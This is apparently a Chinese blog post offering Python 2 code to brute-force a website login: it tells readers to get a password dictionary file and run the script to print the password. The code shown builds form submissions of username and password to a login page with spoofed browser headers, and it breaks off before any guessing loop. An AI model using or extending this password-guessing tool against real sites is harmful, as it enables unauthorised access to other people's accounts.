【python编程】网站密码暴力破解代码

1、pass1.txt需要从相关网站上下载,即密码字典

2、使用python 此程序运行后打印密码即可

#!/usr/bin/python

#-*-coding:utf-8-*-


import sys
import httplib,urllib;  #加载模块

def PassParse(username,passwd):

# 进行表单提交  小项  2014-01-20         
#定义需要进行发送的数据
    params = urllib.urlencode({'pwdError':0,     
                               'userName':username,
                               'userPassword':passwd
                               });     
#定义一些文件头
    headers = {"Content-Type":"application/x-www-form-urlencoded",      
           "Connection":"Keep-Alive","Referer":"http://192.168.1.170:8000/jsoa/login.jsp?error=serverdown",
            "Accept-Language": "zh-CN",
            "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)",
      

你可能感兴趣的:(Network,Security)